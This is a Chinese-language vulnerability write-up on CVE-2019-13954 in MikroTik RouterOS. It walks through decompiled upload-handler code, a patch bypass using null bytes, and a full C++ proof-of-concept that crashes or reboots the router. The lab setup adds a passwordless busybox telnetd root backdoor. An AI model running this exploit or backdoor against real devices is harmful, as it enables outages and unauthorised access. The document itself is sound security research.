MikroTik RouterOS是一种路由操作系统,并通过该软件将标准的PC电脑变成专业路由器,软件经历了多次更新和改进,其功能在不断增强和完善。特别在无线、认证、策略路由、带宽控制和防火墙过滤等功能上有着非常突出的表现,其极高的性价比,受到许多网络人士的青睐。RouterOS具备现有路由系统的大部分功能,能针对网吧、企业、小型ISP接入商、社区等网络设备的接入,基于标准的x86构架。
CVE-2019-13954
是MikroTik RouterOS
中存在的一个memory exhaustion
漏洞。认证的用户通过构造并发送一个特殊的POST
请求,服务程序在处理POST
请求时会陷入”死”循环,造成memory exhaustion
,导致对应的服务程序崩溃或者系统重启。
根据漏洞公告中提到的"/jsproxy/upload"
,在6.42.11
版本中:
int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4) { //... while ( 1 ) { sub_51F7(v37, &s1); //读取POST请求 if ( !s1 ) break; v14 = -1; v15 = &s1; do { if ( !v14 ) break; v16 = *v15++ == 0; --v14; } while ( !v16 ); if ( v14 != 0x100u ) //数据长度限制 { v36 = 0; string::string((string *)&v46, &s1); v17 = Headers::parseHeaderLine((Headers *)&v47, (const string *)&v46); string::freeptr((string *)&v46); if ( v17 ) continue; } string::string((string *)&v46, ""); Response::sendError(a4, 400, (const string *)&v46); string::freeptr((string *)&v46); LABEL_60: tree_base::clear(v19, v18, &v47, map_node_destr<string,HeaderField>); goto LABEL_61; } //... }
相较于之前版本6.40.5,增加了对读取的POST请求数据长度的判断:当长度超过0x100
(包括最后的'\x00'
)时,会跳出while循环。
6.40.5版本:
int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4) { // ... while ( 1 ) { sub_77464E9F(v27, (char *)s1); // 读取POST请求数据 if ( !LOBYTE(s1[0]) ) break; string::string((string *)&v36, (const char *)s1); v11 = Headers::parseHeaderLine((Headers *)&v37, (const string *)&v36); string::freeptr((string *)&v36); if ( !v11 ) { string::string((string *)&v36, ""); Response::sendError(a4, 400, (const string *)&v36); string::freeptr((string *)&v36); LABEL_56: tree_base::clear(v13, v12, &v37, map_node_destr<string,HeaderField>); goto LABEL_57; } } // ... }
看到sub_51F7
函数:
char *__usercall sub_51F7@<eax>(istream *a1@<eax>, char *a2@<edx>) { const char *v2; // esi char *result; // eax unsigned int v4; // ecx v2 = a2; istream::getline(a1, a2, 0x100u, 10); result = 0; v4 = strlen(v2) + 1; if ( v4 != 1 ) { result = (char *)&v2[v4 - 2]; if ( *result == 13 ) *result = 0; } return result; }
对于补丁前来讲,我们要让程序一直循环有两个条件
sub_51F7
,未读取到数据Headers::parseHeaderLine()
,解析失败其中第一个很好满足,只需要有输入即可。至于第二个条件hederline解析失败,从POC来看可以大概推断出,由于getline没有接到换行,会认为io失败,输入流关闭,此时调用相当于直接返回。而headerline解析由于没有接收到换行就会一直解析导致循环不能退出。
而在补丁后增加了对字符长度的判断,察觉到输入大于0x100字节就会直接退出循环。
正常getline是以回车,\0
截止。
遇到\0
直接截止。
遇到回车截止然后把回车替换成\0
因此代码是以读到\0
来判断数组长度,若在读到\0
之前大于了0x100个字节,就直接退出循环了。因此我们可以直接在payload里加入\0
,就能绕过这个判断。
但是问题来了,如果我们在payload里加入了\0
,getline直接截止了,我们就不能让数组长度大于0x100,那么最基础的触发条件都没了。
不过输入多个\0
会让getline识别成\\
字符。那这样就不存在截止的问题了,而且可以绕过补丁判断,同时数组大小大于0x100。
因此,只需要在filename
参数后面追加大量的'\x00'
,即可绕过补丁,再次触发该漏洞。
#include <cstdlib> #include <iostream> #include <boost/cstdint.hpp> #include <boost/program_options.hpp> #include "jsproxy_session.hpp" #include "winbox_message.hpp" namespace { const char s_version[] = "CVE-2019-13954 PoC 1.1.0"; bool parseCommandLine(int p_argCount, const char* p_argArray[], std::string& p_username, std::string& p_password, std::string& p_ip, std::string& p_port) { boost::program_options::options_description description("options"); description.add_options() ("help,h", "A list of command line options") ("version,v", "Display version information") ("username,u", boost::program_options::value<std::string>(), "The user to log in as") ("password", boost::program_options::value<std::string>(), "The password to log in with") ("port,p", boost::program_options::value<std::string>()->default_value("80"), "The HTTP port to connect to") ("ip,i", boost::program_options::value<std::string>(), "The IPv4 address to connect to"); boost::program_options::variables_map argv_map; try { boost::program_options::store( boost::program_options::parse_command_line( p_argCount, p_argArray, description), argv_map); } catch (const std::exception& e) { std::cerr << e.what() << "\n" << std::endl; std::cerr << description << std::endl; return false; } boost::program_options::notify(argv_map); if (argv_map.empty() || argv_map.count("help")) { std::cerr << description << std::endl; return false; } if (argv_map.count("version")) { std::cerr << "Version: " << ::s_version << std::endl; return false; } if (argv_map.count("username") && argv_map.count("ip") & argv_map.count("port")) { p_username.assign(argv_map["username"].as<std::string>()); p_ip.assign(argv_map["ip"].as<std::string>()); p_port.assign(argv_map["port"].as<std::string>()); if (argv_map.count("password")) { p_password.assign(argv_map["password"].as<std::string>()); } else { p_password.assign(""); } return true; } else { std::cerr << description << std::endl; } return false; } } int main(int p_argc, const char** p_argv) { std::string username; std::string password; std::string ip; std::string port; if (!parseCommandLine(p_argc, p_argv, username, password, ip, port)) { return EXIT_FAILURE; } JSProxySession jsSession(ip, port); if (!jsSession.connect()) { std::cerr << "Failed to connect to the remote host" << std::endl; return EXIT_FAILURE; } // generate the session key but don't log in if (!jsSession.negotiateEncryption(username, password, false)) { std::cerr << "Encryption negotiation failed." << std::endl; return EXIT_FAILURE; } std::string filename; for (int i = 0; i < 0x50; i++) { filename.push_back('A'); } for (int i = 0; i < 0x100; i++) { filename.push_back('\x00'); } if (jsSession.uploadFile(filename, "lol.")) { std::cout << "success!" << std::endl; } return EXIT_SUCCESS; }
CVE-2019-13954可在系统版本6.42.11验证
MikroTik RouterOS镜像下载地址:https://mikrotik.com/download
利用VMware虚拟机安装镜像,按a,选择所有,然后i安装,后续都默认y就行
安装成功后进入登陆页面,用户名是admin,密码为空
虚拟机修改为NAT模式,和ubuntu在同一子网下
虚拟机获取ip
ip dhcp-client add interface=ether disabled=no
查看虚拟机获取的ip
ip dhcp-client print detail
搭建起仿真环境后,由于RouterOS
自带的命令行界面比较受限,只能执行特定的命令,不便于后续进一步的分析和调试,因此还需要想办法获取设备的root shell
。
我们需要下载busybox(用于开root后门)、gdbserver.i686(远程调试)
busybox:wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
除了busybox,我们还可以通过https://github.com/tenable/routeros下的`cleaner_wrasse`利用漏洞开启后门
gdbserver.i686下载地址:https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.i686
这里我们使用ubuntu挂载routeros的磁盘,在ubuntu的虚拟机设置中添加routeros的硬盘,此时需要将routeros关机。
挂载完成后,使用命令行访问挂载磁盘,将busybox和gdbserver复制到/rw/disk
并赋予权限777
在/rw目录下编写一个DEFCONF脚本,用来使RouterOS开机运行后门,RouterOS每次开机都会运行DEFCONF这个文件,但是重启之后会失效。我们可以在设置完成后开启快照。
ok; /rw/disk/busybox-i686 telnetd -l /bin/bash -p 1270;
此时,我们可以不通过用户名和密码就在ubuntu中直接telnet远程登陆RouterOS了
telnet ip port
在通过后门登陆后,查看www和jsproxy.p所在的位置
find / -name www
find / -name jsproxy.p
这里可以通过工具Chimay-Red从官网上提取6.42.11版本的www、jsproxy.p
./tools/getROSbin.py 6.42.11 x86 /nova/bin/www www_binary_1
./tools/getROSbin.py 6.42.11 x86 /nova/lib/www/jsproxy.p www_binary_2
编译生成POC
下载地址:https://github.com/tenable/routeros
依赖环境:
安装Boost:
Ubuntu:
sudo apt-get install libboost-dev
需要提醒的是gcc版本需要高于6,否则会导致编译失败
编译生成cve_2019_13954
的poc
cd cve_2019_13954
mkdir build
cd build
cmake ..
make
编译成功后即可使用,使用方式
这里我们使用:
./cve_2019_13954_poc -i 192.168.111.17 -u admin
与该漏洞相关的程序为www
,在设备上利用gdbserver
附加到该进程进行远程调试,然后运行对应的PoC
脚本,发现系统直接重启。
在调试验证的过程中注意Linux默认开启了ASLR保护机制(操作系统用来抵御缓冲区溢出攻击的内存保护机制),为了方便找地址,关掉ASLR
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
通过后门busybox登陆routeros,查看www的进程pid后,开启gdbserver附加www:
./gdbserver.i686 localhost:1234 --attach 267
此时在ubuntu上开启gdb,准备调试,设置架构为i386,目标主机为192.168.0.113,端口为1234
gdb
set architecture i386
target remote 192.168.111.17:1234
同时本地运行POC,info proc mappings
查看当前已经加载的模块,可以看到jsproxy已经加载进来了
./cve_2019_13954_poc -i 192.168.111.17 -u admin
在ida中找到要断点的函数的偏移地址,从doUpload函数断点,偏移量为8D08
那么我们将mappings中jsproxy的基地址加上偏移地址就ok了,对其断点
b *0x774f9000+0x8D08
c一下发现系统直接重启了
参考资源:
https://www.anquanke.com/post/id/254635#h3-8
https://github.com/BigNerd95/Chimay-Red
https://github.com/tenable/routeros
https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1
https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6
https://github.com/cq674350529/pocs_slides/tree/master/advisory/MikroTik